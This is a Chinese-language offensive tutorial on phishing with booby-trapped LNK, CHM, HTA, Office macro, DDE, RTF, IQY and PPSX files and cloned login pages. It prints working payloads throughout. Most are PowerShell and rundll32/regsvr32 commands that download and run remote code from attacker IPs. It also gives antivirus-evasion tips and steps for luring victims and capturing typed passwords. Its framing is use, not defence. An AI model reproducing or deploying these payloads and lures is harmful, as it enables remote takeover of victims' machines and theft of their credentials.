一、文档链接钓鱼
(一)LNK链接钓鱼
利用原理
ftp加! 可以执行命令
攻击复现
首先创建一个ftp的快捷方式,快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:abc.dll
快捷方式的图标以及名字可以进行适当的伪装:
后门恶意链接的生成方式,在CobaltStike中点击:Scripted Wed Delivery(s)
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.54.128:80/hi'))"
此处是使用了无文件攻击的思路,直接调用powershell执行恶意操作会很容易被360等杀软拦截。
然后新建一个文件名 abc.dll ,然后内容为cs的后门恶意链接(powershell上线命令)
双击即可上线
(二)LINK快捷方式钓鱼
首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示
打开目录,找到路径为:
C:\Windows\System32\WindowsPowerShell\v1.0
生成后门恶意链接
后门恶意链接的生成方式,在CobaltStike中点击:Scripted Wed Delivery(s)
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.54.128:80/hi'))"
这里免杀的话,使用base64等等进行混淆
然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码
可以对图标和名称进行适当的更改,之后就可以开始钓鱼了
二、 CHM文档钓鱼
原理
使用 EasyCHM 可以轻松的新建一个 chm 文件
流程
总概:
EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线
首先创建个空文件夹
创建html文件,与上述文件夹放于同一个文件夹内,代码如下
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',calc.exe'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错
使用Easy CHM制作CHM文档
新建工程
点击编译 生成CHM
双击生成的chm文件后即可打开计算器:
尝试使用 Cobalt Strike 木马 + CHM 上线
Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery
将生成的payload放于html文件中:
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
双击生成的chm文件:
MyJSRat配合CHM进行上线
python2运行下面的命令:
使用交互模式
python2 MyJSRat.py -i 192.168.27.180 -p 8080
Kali Linux 运行访问
复制代码替换payload,记得加上逗号
<html>
<head>
<title>Mousejack replay</title>
</head>
<body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
然后重新生成CHM并且执行
CHM内容伪装
先拿一个正常的CHM文档内容,转为html
通过hh命令,转为html
hh -decompile .[\\html](file://html) CSS2.0中文手册.chm
钓鱼html嵌入到 html/css2/c_color.html
工程目录选择css2
要诱导用户点击到 c_color.html 模块才可攻击成功
CHM文档bypass waf
利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。
HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm
CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。
更多思路可参考:
三、HTA钓鱼
HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,但比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行。
Cobalt Strike,attacks——>packages——>HTML application
选择powershell然后点击generate,选择保存路径。
将生成的.hta文件发送给别人,点击后获得shell
github开源项目可以绕过部分waf
四、宏钓鱼
Word文件钓鱼
正常操作是利用cs生成宏代码,复制到vb里面去
然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下
首先在word选项中开启开发工具
然后把宏打开
创建一个 test.doc
然后点击 Visual Basic
使用Cobalt Strike 生成木马
将代码粘贴到刚才打开的地方
然后保存即可。doc格式和其它启用宏的模板的格式都可以,doc格式和原来格式的图标一样
运行文件,发现cs上线
可以使用EvilClippy进行免杀
使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测
Excel文件钓鱼
新建一个Excel,在左下角的sheet处右键单击,选择插入:
在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定
完成之后左下角多了一栏 宏
分别在A1和A2输入
=exec("c:\windows\system32\cmd.exe")
=halt()
并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件
这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作
宏钓鱼 bypass waf
(1)使用远程加载XSL文件达到免杀
https://github.com/mdsecactivebreach/SharpShooter
(2)高级VBA宏免杀
参考 Advanced VBA macros: bypassing olevba static analyses with 0 hits | Certego
OLE(Object Linking and Embedding,对象链接与嵌入)
是一种把一个文件嵌入到另一个文件中的技术
改变题注,更加逼真
双击,选择确定,即可上线
DDE钓鱼文档
创建一个文档 dde.docx ,之后双击打开 dde.docx,直接Ctrl + f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。
DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"
双击生成的文档,即可弹出计算器
这里使用cs生成的payload:
输入
DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://172.16.54.128:80/download/payload.ps1'); # ""Microsoft Document Security Add-On"
点击 是-→ 是-→确认 后即可上线
RTF文档钓鱼
不法分子主要利用Office RTF漏洞传播相关后缀名为“.doc”的文件,但实际上这是一个RTF文件。因为Office的兼容性,文件可以正常打开,但在打开过程中存在漏洞。该漏洞可导致木马在不执行宏的情况下从网上下载并运行恶意程序,进而对受害者的电脑进行攻击。
攻击方利用Office提供的OLE技术,将包含了恶意链接的URL Moniker(COM对象)嵌入RTF文档中,该恶意链接指向远程服务器中的恶意HTA文件。攻击方利用钓鱼邮件等方式诱使用户保存RTF文档到计算机中并打开,于是URL Moniker使winword.exe向恶意链接指向的地址发出HTTP请求,服务器返回一个带有嵌入式恶意代码的假RTF文件,并在HTTP响应头部添加键值对(Content-Type:application/hta),这使winword.exe以为这是一个HTA文件,于是通过COM对象查找处理hta文件的程序Microsoft HTA(mshta.exe),于是mshta.exe打开这个假RTF文件,自动加载并执行包含PowerShell命令的VB脚本。
首先,创建一个正常的word文档,作为将要链接的rtf对象,如命名为test.docx
然后,将Qianli.docx重命名为Qianli.rtf,放到Apache服务器上面。
并创建另一个文档,选择插入->对象->由文件创建,输入rtf文件路径后选择链接到文件。然后将该文件另存为rtf文件,此处命名为exp.rtf
此时,打开exp.rtf可以看到刚刚链接的test.rtf是以一个整体的格式显示
这时,我们在服务器端修改Qianli.rtf文件为Visual Script Script代码需要注意反斜杠的转义,这段代码将弹出本地计算器。
需要改一下Apache的配置,该代码会将该目录下的文件识别为hta脚本,然后重启服务器。
点击“是”即可弹出计算器
自动执行计算器程序
用010Editor打开该文档,将\object\objautlink\rsltpict替换为\object\objautlink\objupdate\rsltpict,虽然仍然会有提示,但不需与用户交互,计算器便会自行弹出。
后门准备:利用最metasploit生成meterpreter后门,放在与Qianli.rtf相同目录下。
下图,左图寻找相关payload,右图生成:
修改刚刚的Qianli.rtf,下载文件并执行
msf监听本地4444端口,靶机运行rtf文件,即可反弹shell。如图,已经获取得到192.168.0.140的控制权限
IQY特性钓鱼
利用nishang下的Out-WebQuery.ps1, 脚本生成包含恶意 payload url 的 iqy 文件。
可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’(不能加载脚本),通过IQY【即web查询】语句,可以直接将各类web上的列表数据轻松引入到当前的excel中,而正是因为这样,从而给了我们利用excel制作钓鱼邮件的机会,假如你要引入的web数据是入侵者事先准备好的一段payload iqy恶意代码,那结果就不言而喻了。
利用过程
新建一个excel文件,找到”数据”→”自网站”→”地址”,填写要抓取数据的网站url,选中想抓取数据的表单
点击导入
点击确定,即可成功导入
接下来利用IYQ打开计算机来看看效果
在我们自己的服务器的网站目录下放一个payload.html文件,内容是IYQ代码
=cmd|'/c calc.exe '!A0
接下来就是按照之前的方法,来拉取我们自己服务器上的payload文件
导入
点击是,即可弹出计算器
接下来进行弹shell操作
用到的工具:nishang
https://github.com/samratashok/nishang/releaseshttps://github.com/samratashok/nishang/releases先在kali准备好payload:
exploit/multi/script/web_delivery
用nishang中client目录下提供好的Out-WebQuery脚本来生成iqy文件
iqy文件本身的内容很简单,只有一个包含恶意payload的url:http://192.168.2.148/msf.html,关键也就在这个 html,我们需要把 html 的内容换成加载我们上面准备好的 meterpreter payload 的 iqy 语句 :regsv* /s /n /u /i:http://192.168.2.148:8080/ZTPzcY6J5.sctscrobj.dll
然后利用nishang-master\Client\Out-WebQuery.ps1,生成文件:
powershell-execbypass-Command"& {Import-Module ".\Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.148:8000/msf.html}"
命令成功执行后,会生成一个iqy文件。
接下来,打开Web服务目录,创建msf.html,内容为刚刚msf生成的paylaod
=cmd|'/c regsv*** /s /n /u /i:http://192.168.2.148:8080/ZTPzcY6J5.sct scrobj.dll '!A0
接下来就可以想办法把之前生成的iqy文件发送给受害者。
当受害者双击打开时,默认会用Excel打开,弹出警告,点击启用
因为前面的iqy文件是用cmd执行的,所以会继续询问是否启动另一个应用程序,CMD.EXE.
PPT 动作按钮特性构造 PPSX钓鱼
新型PPT钓鱼攻击分析
首先,创建一个普通的PPTX文件,随便填入一些内容,如下图:
这里要选择空白的那个,选择以后,在页面中拉出一个触发位置,之后会弹出动作设置的界面,选择鼠标悬停-→ 运行程序msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""
然后将格式保存为ppsx格式保存即可 执行即可上线
五、exe等可执行文件伪装执行
步骤:免杀+伪装,该篇需要新启话题详细说明。
1)shellcode 异或加密免杀(golang)
2)shellcode转换免杀
3)shellcode编译免杀
4)shellcode分离加载免杀
5)绕过沙盒
6)exe伪装
7)绕过行为检测
8)DLL劫持+重新制作安装包
9)免杀思路
六、邮件钓鱼
参考:邮件钓鱼入门到入土 - FreeBuf网络安全行业门户
七、flash钓鱼
源码:https://github.com/r00tSe7en/Fake-flash.cn
尝试自解压或者配合捆绑
八、网站钓鱼
寻找网站模板
找有登录框的或者你想克隆的网站
CS克隆网站,并开启输入监听
填写克隆地址,勾选键盘监听
下一步填写VPS公网地址:
然后点击site按钮后,可以查看到钓鱼的服务端口以及状态
访问测试
访问vps的ip以及对应端口
输入账号密码,点击登录
查看web日志
即可看到用户输入账号密码